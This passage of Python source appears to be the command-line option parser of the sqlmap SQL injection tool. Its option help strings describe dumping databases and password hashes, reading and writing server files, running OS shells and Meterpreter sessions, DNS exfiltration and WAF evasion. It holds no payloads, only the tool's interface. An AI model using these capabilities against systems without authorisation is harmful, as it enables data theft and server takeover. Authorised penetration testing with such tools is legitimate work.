lib.core.common import dataToStdout from lib.core.common import expandMnemonics from lib.core.common import getSafeExString from lib.core.compat import xrange from lib.core.convert import getUnicode from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults from lib.core.dicts import DEPRECATED_OPTIONS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSyntaxException from lib.core.option import _createHomeDirectories from lib.core.settings import BASIC_HELP_ITEMS from lib.core.settings import DUMMY_URL from lib.core.settings import IGNORED_OPTIONS from lib.core.settings import INFERENCE_UNKNOWN_CHAR from lib.core.settings import IS_WIN from lib.core.settings import MAX_HELP_OPTION_LENGTH from lib.core.settings import VERSION_STRING from lib.core.shell import autoCompletion from lib.core.shell import clearHistory from lib.core.shell import loadHistory from lib.core.shell import saveHistory from thirdparty.six.moves import input as _input def cmdLineParser(argv=None): """ This function parses the command line parameters and arguments """ if not argv: argv = sys.argv checkSystemEncoding() # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) usage = "%s%s [options]" % ("%s " % os.path.basename(sys.executable) if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _) parser = ArgumentParser(usage=usage) try: parser.add_argument("--hh", dest="advancedHelp", action="store_true", help="Show advanced help message and exit") parser.add_argument("--version", dest="showVersion", action="store_true", help="Show program's version number and exit") parser.add_argument("-v", dest="verbose", type=int, help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)") target.add_argument("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") target.add_argument("-d", dest="direct", help="Connection string for direct database connection") target.add_argument("-l", dest="logFile", help="Parse target(s) from Burp or WebScarab proxy log file") target.add_argument("-m", dest="bulkFile", help="Scan multiple targets given in a textual file ") target.add_argument("-r", dest="requestFile", help="Load HTTP request from a file") target.add_argument("-g", dest="googleDork", help="Process Google dork results as target URLs") target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") request.add_argument("-A", "--user-agent", dest="agent", help="HTTP User-Agent header value") request.add_argument("-H", "--header", dest="header", help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") request.add_argument("--method", dest="method", help="Force usage of given HTTP method (e.g. PUT)") request.add_argument("--data", dest="data", help="Data string to be sent through POST (e.g. \"id=1\")") request.add_argument("--param-del", dest="paramDel", help="Character used for splitting parameter values (e.g. &)") request.add_argument("--cookie", dest="cookie", help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") request.add_argument("--cookie-del", dest="cookieDel", help="Character used for splitting cookie values (e.g. ;)") request.add_argument("--live-cookies", dest="liveCookies", help="Live cookies file used for loading up-to-date values") request.add_argument("--load-cookies", dest="loadCookies", help="File containing cookies in Netscape/wget format") request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", help="Ignore Set-Cookie header from response") request.add_argument("--http2", dest="http2", action="store_true", help="Use HTTP version 2 (experimental)") request.add_argument("--mobile", dest="mobile", action="store_true", help="Imitate smartphone through HTTP User-Agent header") request.add_argument("--random-agent", dest="randomAgent", action="store_true", help="Use randomly selected HTTP User-Agent header value") request.add_argument("--host", dest="host", help="HTTP Host header value") request.add_argument("--referer", dest="referer", help="HTTP Referer header value") request.add_argument("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") request.add_argument("--auth-type", dest="authType", help="HTTP authentication type (Basic, Digest, Bearer, ...)") request.add_argument("--auth-cred", dest="authCred", help="HTTP authentication credentials (name:password)") request.add_argument("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") request.add_argument("--abort-code", dest="abortCode", help="Abort on (problematic) HTTP error code(s) (e.g. 401)") request.add_argument("--ignore-code", dest="ignoreCode", help="Ignore (problematic) HTTP error code(s) (e.g. 401)") request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true", help="Ignore system default proxy settings") request.add_argument("--ignore-redirects", dest="ignoreRedirects", action="store_true", help="Ignore redirection attempts") request.add_argument("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", help="Ignore connection timeouts") request.add_argument("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") request.add_argument("--proxy-cred", dest="proxyCred", help="Proxy authentication credentials (name:password)") request.add_argument("--proxy-file", dest="proxyFile", help="Load proxy list from a file") request.add_argument("--proxy-freq", dest="proxyFreq", type=int, help="Requests between change of proxy from a given list") request.add_argument("--tor", dest="tor", action="store_true", help="Use Tor anonymity network") request.add_argument("--tor-port", dest="torPort", help="Set Tor proxy port other than default") request.add_argument("--tor-type", dest="torType", help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") request.add_argument("--check-tor", dest="checkTor", action="store_true", help="Check to see if Tor is used properly") request.add_argument("--delay", dest="delay", type=float, help="Delay in seconds between each HTTP request") request.add_argument("--timeout", dest="timeout", type=float, help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) request.add_argument("--retries", dest="retries", type=int, help="Retries when the connection timeouts (default %d)" % defaults.retries) request.add_argument("--retry-on", dest="retryOn", help="Retry request on regexp matching content (e.g. \"drop\")") request.add_argument("--randomize", dest="rParam", help="Randomly change value for given parameter(s)") request.add_argument("--safe-url", dest="safeUrl", help="URL address to visit frequently during testing") request.add_argument("--safe-post", dest="safePost", help="POST data to send to a safe URL") request.add_argument("--safe-req", dest="safeReqFile", help="Load safe HTTP request from a file") request.add_argument("--safe-freq", dest="safeFreq", type=int, help="Regular requests between visits to a safe URL") request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") request.add_argument("--csrf-token", dest="csrfToken", help="Parameter used to hold anti-CSRF token") request.add_argument("--csrf-url", dest="csrfUrl", help="URL address to visit for extraction of anti-CSRF token") request.add_argument("--csrf-method", dest="csrfMethod", help="HTTP method to use during anti-CSRF token page visit") request.add_argument("--csrf-data", dest="csrfData", help="POST data to send during anti-CSRF token page visit") request.add_argument("--csrf-retries", dest="csrfRetries", type=int, help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries) request.add_argument("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") request.add_argument("--chunked", dest="chunked", action="store_true", help="Use HTTP chunked transfer encoded (POST) requests") request.add_argument("--hpp", dest="hpp", action="store_true", help="Use HTTP parameter pollution method") request.add_argument("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") # Optimization options optimization = parser.add_argument_group("Optimization", "These options can be used to optimize the performance of sqlmap") optimization.add_argument("-o", dest="optimize", action="store_true", help="Turn on all optimization switches") optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", help="Predict common queries output") optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true", help="Use persistent HTTP(s) connections") optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", help="Retrieve page length without actual HTTP response body") optimization.add_argument("--threads", dest="threads", type=int, help="Max number of concurrent HTTP(s) requests (default %d)" % defaults.threads) # Injection options injection = parser.add_argument_group("Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") injection.add_argument("-p", dest="testParameter", help="Testable parameter(s)") injection.add_argument("--skip", dest="skip", help="Skip testing for given parameter(s)") injection.add_argument("--skip-static", dest="skipStatic", action="store_true", help="Skip testing parameters that not appear to be dynamic") injection.add_argument("--param-exclude", dest="paramExclude", help="Regexp to exclude parameters from testing (e.g. \"ses\")") injection.add_argument("--param-filter", dest="paramFilter", help="Select testable parameter(s) by place (e.g. \"POST\")") injection.add_argument("--dbms", dest="dbms", help="Force back-end DBMS to provided value") injection.add_argument("--dbms-cred", dest="dbmsCred", help="DBMS authentication credentials (user:password)") injection.add_argument("--os", dest="os", help="Force back-end DBMS operating system to provided value") injection.add_argument("--invalid-bignum", dest="invalidBignum", action="store_true", help="Use big numbers for invalidating values") injection.add_argument("--invalid-logical", dest="invalidLogical", action="store_true", help="Use logical operations for invalidating values") injection.add_argument("--invalid-string", dest="invalidString", action="store_true", help="Use random strings for invalidating values") injection.add_argument("--no-cast", dest="noCast", action="store_true", help="Turn off payload casting mechanism") injection.add_argument("--no-escape", dest="noEscape", action="store_true", help="Turn off string escaping mechanism") injection.add_argument("--prefix", dest="prefix", help="Injection payload prefix string") injection.add_argument("--suffix", dest="suffix", help="Injection payload suffix string") injection.add_argument("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") # Detection options detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") detection.add_argument("--level", dest="level", type=int, help="Level of tests to perform (1-5, default %d)" % defaults.level) detection.add_argument("--risk", dest="risk", type=int, help="Risk of tests to perform (1-3, default %d)" % defaults.risk) detection.add_argument("--string", dest="string", help="String to match when query is evaluated to True") detection.add_argument("--not-string", dest="notString", help="String to match when query is evaluated to False") detection.add_argument("--regexp", dest="regexp", help="Regexp to match when query is evaluated to True") detection.add_argument("--code", dest="code", type=int, help="HTTP code to match when query is evaluated to True") detection.add_argument("--smart", dest="smart", action="store_true", help="Perform thorough tests only if positive heuristic(s)") detection.add_argument("--text-only", dest="textOnly", action="store_true", help="Compare pages based only on the textual content") detection.add_argument("--titles", dest="titles", action="store_true", help="Compare pages based only on their titles") # Techniques options techniques = parser.add_argument_group("Techniques", "These options can be used to tweak testing of specific SQL injection techniques") techniques.add_argument("--technique", dest="technique", help="SQL injection techniques to use (default \"%s\")" % defaults.technique) techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) techniques.add_argument("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") techniques.add_argument("--union-char", dest="uChar", help="Character to use for bruteforcing number of columns") techniques.add_argument("--union-from", dest="uFrom", help="Table to use in FROM part of UNION query SQL injection") techniques.add_argument("--union-values", dest="uValues", help="Column values to use for UNION query SQL injection") techniques.add_argument("--dns-domain", dest="dnsDomain", help="Domain name used for DNS exfiltration attack") techniques.add_argument("--second-url", dest="secondUrl", help="Resulting page URL searched for second-order response") techniques.add_argument("--second-req", dest="secondReq", help="Load second-order HTTP request from file") # Fingerprint options fingerprint = parser.add_argument_group("Fingerprint") fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", help="Perform an extensive DBMS version fingerprint") # Enumeration options enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables") enumeration.add_argument("-a", "--all", dest="getAll", action="store_true", help="Retrieve everything") enumeration.add_argument("-b", "--banner", dest="getBanner", action="store_true", help="Retrieve DBMS banner") enumeration.add_argument("--current-user", dest="getCurrentUser", action="store_true", help="Retrieve DBMS current user") enumeration.add_argument("--current-db", dest="getCurrentDb", action="store_true", help="Retrieve DBMS current database") enumeration.add_argument("--hostname", dest="getHostname", action="store_true", help="Retrieve DBMS server hostname") enumeration.add_argument("--is-dba", dest="isDba", action="store_true", help="Detect if the DBMS current user is DBA") enumeration.add_argument("--users", dest="getUsers", action="store_true", help="Enumerate DBMS users") enumeration.add_argument("--passwords", dest="getPasswordHashes", action="store_true", help="Enumerate DBMS users password hashes") enumeration.add_argument("--privileges", dest="getPrivileges", action="store_true", help="Enumerate DBMS users privileges") enumeration.add_argument("--roles", dest="getRoles", action="store_true", help="Enumerate DBMS users roles") enumeration.add_argument("--dbs", dest="getDbs", action="store_true", help="Enumerate DBMS databases") enumeration.add_argument("--tables", dest="getTables", action="store_true", help="Enumerate DBMS database tables") enumeration.add_argument("--columns", dest="getColumns", action="store_true", help="Enumerate DBMS database table columns") enumeration.add_argument("--schema", dest="getSchema", action="store_true", help="Enumerate DBMS schema") enumeration.add_argument("--count", dest="getCount", action="store_true", help="Retrieve number of entries for table(s)") enumeration.add_argument("--dump", dest="dumpTable", action="store_true", help="Dump DBMS database table entries") enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true", help="Dump all DBMS databases tables entries") enumeration.add_argument("--search", dest="search", action="store_true", help="Search column(s), table(s) and/or database name(s)") enumeration.add_argument("--comments", dest="getComments", action="store_true", help="Check for DBMS comments during enumeration") enumeration.add_argument("--statements", dest="getStatements", action="store_true", help="Retrieve SQL statements being run on DBMS") enumeration.add_argument("-D", dest="db", help="DBMS database to enumerate") enumeration.add_argument("-T", dest="tbl", help="DBMS database table(s) to enumerate") enumeration.add_argument("-C", dest="col", help="DBMS database table column(s) to enumerate") enumeration.add_argument("-X", dest="exclude", help="DBMS database identifier(s) to not enumerate") enumeration.add_argument("-U", dest="user", help="DBMS user to enumerate") enumeration.add_argument("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", help="Exclude DBMS system databases when enumerating tables") enumeration.add_argument("--pivot-column", dest="pivotColumn", help="Pivot column name") enumeration.add_argument("--where", dest="dumpWhere", help="Use WHERE condition while table dumping") enumeration.add_argument("--start", dest="limitStart", type=int, help="First dump table entry to retrieve") enumeration.add_argument("--stop", dest="limitStop", type=int, help="Last dump table entry to retrieve") enumeration.add_argument("--first", dest="firstChar", type=int, help="First query output word character to retrieve") enumeration.add_argument("--last", dest="lastChar", type=int, help="Last query output word character to retrieve") enumeration.add_argument("--sql-query", dest="sqlQuery", help="SQL statement to be executed") enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true", help="Prompt for an interactive SQL shell") enumeration.add_argument("--sql-file", dest="sqlFile", help="Execute SQL statements from given file(s)") # Brute force options brute = parser.add_argument_group("Brute force", "These options can be used to run brute force checks") brute.add_argument("--common-tables", dest="commonTables", action="store_true", help="Check existence of common tables") brute.add_argument("--common-columns", dest="commonColumns", action="store_true", help="Check existence of common columns") brute.add_argument("--common-files", dest="commonFiles", action="store_true", help="Check existence of common files") # User-defined function options udf = parser.add_argument_group("User-defined function injection", "These options can be used to create custom user-defined functions") udf.add_argument("--udf-inject", dest="udfInject", action="store_true", help="Inject custom user-defined functions") udf.add_argument("--shared-lib", dest="shLib", help="Local path of the shared library") # File system options filesystem = parser.add_argument_group("File system access", "These options can be used to access the back-end database management system underlying file system") filesystem.add_argument("--file-read", dest="fileRead", help="Read a file from the back-end DBMS file system") filesystem.add_argument("--file-write", dest="fileWrite", help="Write a local file on the back-end DBMS file system") filesystem.add_argument("--file-dest", dest="fileDest", help="Back-end DBMS absolute filepath to write to") # Takeover options takeover = parser.add_argument_group("Operating system access", "These options can be used to access the back-end database management system underlying operating system") takeover.add_argument("--os-cmd", dest="osCmd", help="Execute an operating system command") takeover.add_argument("--os-shell", dest="osShell", action="store_true", help="Prompt for an interactive operating system shell") takeover.add_argument("--os-pwn", dest="osPwn", action="store_true", help="Prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true", help="One click prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-bof", dest="osBof", action="store_true", help="Stored procedure buffer overflow " "exploitation") takeover.add_argument("--priv-esc", dest="privEsc", action="store_true", help="Database process user privilege escalation") takeover.add_argument("--msf-path", dest="msfPath", help="Local path where Metasploit Framework is installed") takeover.add_argument("--tmp-path", dest="tmpPath", help="Remote absolute path of temporary files directory") # Windows registry options windows = parser.add_argument_group("Windows registry access", "These options can be used to access the back-end database management system Windows registry") windows.add_argument("--reg-read", dest="regRead", action="store_true", help="Read a Windows registry key value") windows.add_argument("--reg-add", dest="regAdd", action="store_true", help="Write a Windows registry key value data") windows.add_argument("--reg-del", dest="regDel", action="store_true", help="Delete a Windows registry key value") windows.add_argument("--reg-key", dest="regKey", help="Windows registry key") windows.add_argument("--reg-value", dest="regVal", help="Windows registry key value") windows.add_argument("--reg-data", dest="regData", help="Windows registry key value data") windows.add_argument("--reg-type", dest="regType", help="Windows registry key value type") # General options general = parser.add_argument_group("General", "These options can be used to set some general working parameters") general.add_argument("-s", dest="sessionFile", help="Load session from a stored (.sqlite) file") general.add_argument("-t", dest="trafficFile", help="Log all HTTP traffic into a textual file") general.add_argument("--abort-on-empty", dest="abortOnEmpty", action="store_true", help="Abort data retrieval on empty results") general.add_argument("--answers", dest="answers", help="Set predefined answers (e.g. \"quit=N,follow=N\")") general.add_argument("--base64", dest="base64Parameter", help="Parameter(s) containing Base64 encoded data") general.add_argument("--base64-safe", dest="base64Safe", action="store_true", help="Use URL and filename safe Base64 alphabet (RFC 4648)") general.add_argument("--batch", dest="batch", action="store_true", help="Never ask for user input, use the default behavior") general.add_argument("--binary-fields", dest="binaryFields", help="Result fields having binary values (e.g. \"digest\")") general.add_argument("--check-internet", dest="checkInternet", action="store_true", help="Check Internet connection before assessing the target") general.add_argument("--cleanup", dest="cleanup", action="store_true", help="Clean up the DBMS from sqlmap specific UDF and tables") general.add_argument("--crawl", dest="crawlDepth", type=int, help="Crawl the website starting from the target URL") general.add_argument("--crawl-exclude", dest="crawlExclude", help="Regexp to exclude pages from crawling (e.g. \"logout\")") general.add_argument("--csv-del", dest="csvDel", help="Delimiting character used in CSV output (default \"%s\")" % defaults.csvDel) general.add_argument("--charset", dest="charset", help="Blind SQL injection charset (e.g. \"0123456789abcdef\")") general.add_argument("--dump-file", dest="dumpFile", help="Store dumped data to a custom file") general.add_argument("--dump-format", dest="dumpFormat", help="Format of dumped data (CSV (default), HTML or SQLITE)") general.add_argument("--encoding", dest="encoding", help="Character encoding used for data retrieval (e.g. GBK)") general.add_argument("--eta", dest="eta", action="store_true", help="Display for each output the estimated time of arrival") general.add_argument("--flush-session", dest="flushSession", action="store_true", help="Flush session files for current target") general.add_argument("--forms", dest="forms", action="store_true", help="Parse and test forms on target URL") general.add_argument("--fresh-queries", dest="freshQueries", action="store_true", help="Ignore query results stored in session file") general.add_argument("--gpage", dest="googlePage", type=int, help="Use Google dork results from specified page number") general.add_argument("--har", dest="harFile", help="Log all HTTP traffic into a HAR file") general.add_argument("--hex", dest="hexConvert", action="store_true", help="Use hex conversion during data retrieval") general.add_argument("--output-dir", dest="outputDir", action="store", help="Custom output directory path") general.add_argument("--parse-errors", dest="parseErrors", action="store_true", help="Parse and display DBMS error messages from responses") general.add_argument("--preprocess", dest="preprocess", help="Use given script(s) for preprocessing (request)") general.add_argument("--postprocess", dest="postprocess", help="Use given script(s) for postprocessing (response)") general.add_argument("--repair", dest="repair", action="store_true", help="Redump entries having unknown character marker (%s)" % INFERENCE_UNKNOWN_CHAR) general.add_argument("--save", dest="saveConfig", help="Save options to a configuration INI file") general.add_argument("--scope", dest="scope", help="Regexp for filtering targets") general.add_argument("--skip-heuristics", dest="skipHeuristics", action="store_true", help="Skip heuristic detection of vulnerabilities") general.add_argument("--skip-waf", dest="skipWaf", action="store_true", help="Skip heuristic detection of WAF/IPS protection") general.add_argument("--table-prefix", dest="tablePrefix", help="Prefix used for temporary tables (default: \"%s\")" % defaults.tablePrefix) general.add_argument("--test-filter", dest="testFilter", help="Select tests by payloads and/or titles (e.g. ROW)") general.add_argument("--test-skip", dest="testSkip", help="Skip tests by payloads and/or titles (e.g. BENCHMARK)") general.add_argument("--time-limit", dest="timeLimit", type=float, help="Run with a time limit in seconds (e.g. 3600)") general.add_argument("--unsafe-naming", dest="unsafeNaming", action="store_true", help="Disable escaping of DBMS identifiers (e.g. \"user\")") general.add_argument("--web-root", dest="webRoot", help="Web server document root directory (e.g. \"/var/www\")") # Miscellaneous options miscellaneous = parser.add_argument_group("Miscellaneous", "These options do not fit into any other category") miscellaneous.add_argument("-z", dest="mnemonics", help="Use short mnemonics (e.g. \"flu,bat,ban,tec=EU\")") miscellaneous.add_argument("--alert", dest="alert", help="Run host OS command(s) when SQL injection is found") miscellaneous.add_argument("--beep", dest="beep", action="store_true", help="Beep on question and/or when vulnerability is found") miscellaneous.add_argument("--dependencies", dest="dependencies", action="store_true", help="Check for missing (optional) sqlmap dependencies") miscellaneous.add_argument("--disable-coloring", dest="disableColoring", action="store_true", help="Disable console output coloring") miscellaneous.add_argument("--disable-hashing", dest="disableHashing", action="store_true", help="Disable hash analysis on table dumps") miscellaneous.add_argument("--list-tampers", dest="listTampers", action="store_true", help="Display list of available tamper scripts") miscellaneous.add_argument("--no-logging", dest="noLogging", action="store_true", help="Disable logging to a file") miscellaneous.add_argument("--no-truncate", dest="noTruncate", action="store_true", help="Disable console output truncation (e.g. long entr...)") miscellaneous.add_argument("--offline", dest="offline", action="store_true", help="Work in offline mode (only use session data)") miscellaneous.add_argument("--purge", dest="purge", action="store_true", help="Safely remove all content from sqlmap data directory") miscellaneous.add_argument("--results-file", dest="resultsFile", help="Location of CSV results file in multiple targets mode") miscellaneous.add_argument("--shell", dest="shell", action="store_true", help="Prompt for an interactive sqlmap shell") miscellaneous.add_argument("--tmp-dir", dest="tmpDir", help="Local directory for storing temporary files") miscellaneous.add_argument("--unstable", dest="unstable", action="store_true", help="Adjust options for unstable connections") miscellaneous.add_argument("--update", dest="updateAll", action="store_true", help="Update sqlmap") miscellaneous.add_argument("--wizard", dest="wizard", action="store_true", help="Simple wizard interface for beginner users") # Hidden and/or experimental options parser.add_argument("--crack", dest="hashFile", help=SUPPRESS) # "Load and crack hashes from a file (standalone)" parser.add_argument("--dummy", dest="dummy", action="store_true", help=SUPPRESS) parser.add_argument("--yuge", dest="yuge", action="store_true", help=SUPPRESS) parser.add_argument("--murphy-rate", dest="murphyRate", type=int, help=SUPPRESS) parser.add_argument("--debug", dest="debug", action="store_true", help=SUPPRESS) parser.add_argument("--deprecations", dest="deprecations", action="store_true", help=SUPPRESS) parser.add_argument("--disable-multi", dest="disableMulti", action="store_true", help=SUPPRESS) parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true", help=SUPPRESS) parser.add_argument("--disable-stats", dest="disableStats", action="store_true", help=SUPPRESS) parser.add_argument("--profile", dest="profile", action="store_true", help=SUPPRESS) parser.add_argument("--localhost", dest="localhost", action="store_true", help=SUPPRESS) parser.add_argument("--force-dbms", dest="forceDbms", help=SUPPRESS) parser.add_argument("--force-dns", dest="forceDns", action="store_true", help=SUPPRESS) parser.add_argument("--force-partial", dest="forcePartial", action="store_true", help=SUPPRESS) parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true", help=SUPPRESS) parser.add_argument("--ignore-stdin", dest="ignoreStdin", action="store_true", help=SUPPRESS) parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true", help=SUPPRESS) parser.add_argument("--gui", dest="gui", action="store_true", help=SUPPRESS) parser.add_argument("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS) parser.add_argument("--vuln-test", dest="vulnTest", action="store_true", help=SUPPRESS) parser.add_argument("--disable-json", dest="disableJson", action="store_true", help=SUPPRESS) # API options parser.add_argument("--api", dest="api", action="store_true", help=SUPPRESS) parser.add_argument("--taskid", dest="taskid", help=SUPPRESS) parser.add_argument("--database", dest="database", help=SUPPRESS) # Dirty hack to display longer options without breaking into two lines if hasattr(parser, "formatter"): def _(self, *args): retVal = parser.formatter._format_option_strings(*args) if len(retVal) > MAX_HELP_OPTION_LENGTH: retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - parser.formatter.indent_increment)) % retVal return retVal parser.formatter._format_option_strings = parser.formatter.format_option_strings parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser) else: def _format_action_invocation(self, action): retVal = self.__format_action_invocation(action) if len(retVal) > MAX_HELP_OPTION_LENGTH: retVal = ("%%.%ds.." % (MAX_HELP_OPTION_LENGTH - self._indent_increment)) % retVal return retVal parser.formatter_class.__format_action_invocation = parser.formatter_class._format_action_invocation parser.formatter_class._format_action_invocation = _format_action_invocation # Dirty hack for making a short option '-hh' if hasattr(parser, "get_option"): option = parser.get_option("--hh") option._short_opts = ["-hh"] option._long_opts = [] else: for action in get_actions(parser): if action.option_strings == ["--hh"]: action.option_strings = ["-hh"] break # Dirty hack for inherent help message of switch '-h' if hasattr(parser, "get_option"): option = parser.get_option("-h") option.help = option.help.capitalize().replace("this help", "basic help") else: for action in get_actions(parser): if action.option_strings == ["-h", "--help"]: action.help = action.help.capitalize().replace("this help", "basic help") break _ = [] advancedHelp = True extraHeaders = [] auxIndexes = {} # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") for arg in argv: _.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv = _ checkOldOptions(argv) if "--gui" in argv: from lib.core.gui import runGui runGui(parser) raise SqlmapSilentQuitException elif "--shell" in argv: _createHomeDirectories() parser.usage = "" cmdLineOptions.sqlmapShell = True commands = set(("x", "q", "exit", "quit", "clear")) commands.update(get_all_options(parser)) autoCompletion(AUTOCOMPLETE_TYPE.SQLMAP, commands=commands) while True: command = None prompt = "sqlmap > " try: # Note: in Python2 command should not be converted to Unicode before passing to shlex (Reference: https://bugs.python.org/issue1170) command = _input(prompt).strip() except (KeyboardInterrupt, EOFError): print() raise SqlmapShellQuitException command = re.sub(r"(?i)\Anew\s+", "", command or "") if not command: continue elif command.lower() == "clear": clearHistory() dataToStdout("[i] history cleared\n") saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) elif command.lower() in ("x", "q", "exit", "quit"): raise SqlmapShellQuitException elif command[0] != '-': if not re.search(r"(?i)\A(\?|help)\Z", command): dataToStdout("[!] invalid option(s) provided\n") dataToStdout("[i] valid example: '-u http://www.site.com/vuln.php?id=1 --banner'\n") else: saveHistory(AUTOCOMPLETE_TYPE.SQLMAP) loadHistory(AUTOCOMPLETE_TYPE.SQLMAP) break try: for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) except ValueError as ex: raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex)) longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help())) longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help())) for i in xrange(len(argv)): # Reference: https://en.wiktionary.org/wiki/- argv[i] = re.sub(u"\\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i]) # Reference: https://unicode-table.com/en/sets/quotation-marks/ argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C") if argv[i] == "-hh": argv[i] = "-h" elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None: argv[i] = "--url=%s" % argv[i] elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])): dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i]) raise SystemExit elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]: dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i]) raise SystemExit elif re.search(r"\A-\w=.+", argv[i]): dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) raise SystemExit elif re.search(r"\A-\w{3,}", argv[i]): if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches): argv[i] = "-%s" % argv[i] elif argv[i] in IGNORED_OPTIONS: argv[i] = "" elif argv[i] in DEPRECATED_OPTIONS: argv[i] = "" elif argv[i] in ("-s", "--silent"): if i + 1 < len(argv) and argv[i + 1].startswith('-') or i + 1 == len(argv): argv[i] = "" conf.verbose = 0 elif argv[i].startswith("--data-raw"): argv[i] = argv[i].replace("--data-raw", "--data", 1) elif argv[i].startswith("--auth-creds"): argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1) elif argv[i].startswith("--drop-cookie"): argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) elif re.search(r"\A--tamper[^=\s]", argv[i]): argv[i] = "" elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]): key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) index = auxIndexes.get(key, None) if index is None: index = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) auxIndexes[key] = index else: delimiter = ',' argv[index] = "%s%s%s" % (argv[index], delimiter, argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else "")) argv[i] = "" elif argv[i] in ("-H", "--header") or any(argv[i].startswith("%s=" % _) for _ in ("-H", "--header")): if '=' in argv[i]: extraHeaders.append(argv[i].split('=', 1)[1]) elif i + 1 < len(argv): extraHeaders.append(argv[i + 1]) elif argv[i] == "--deps": argv[i] = "--dependencies" elif argv[i] == "--disable-colouring": argv[i] = "--disable-coloring" elif argv[i] == "-r": for j in xrange(i + 2, len(argv)): value = argv[j] if os.path.isfile(value): argv[i + 1] += ",%s" % value argv[j] = '' else: break elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): argv[i] = argv[i][:-1] conf.skipThreadCheck = True elif argv[i] == "--version": print(VERSION_STRING.split('/')[-1]) raise SystemExit elif argv[i] in ("-h", "--help"): advancedHelp = False for group in get_groups(parser)[:]: found = False for option in get_actions(group): if option.dest not in BASIC_HELP_ITEMS: option.help = SUPPRESS else: found = True if not found: get_groups(parser).remove(group) elif '=' in argv[i] and not argv[i].startswith('-') and argv[i].split('=')[0] in longOptions and re.search(r"\A-{1,2}\w", argv[i - 1]) is None: dataToStdout("[!] detected usage of long-option without a starting hyphen 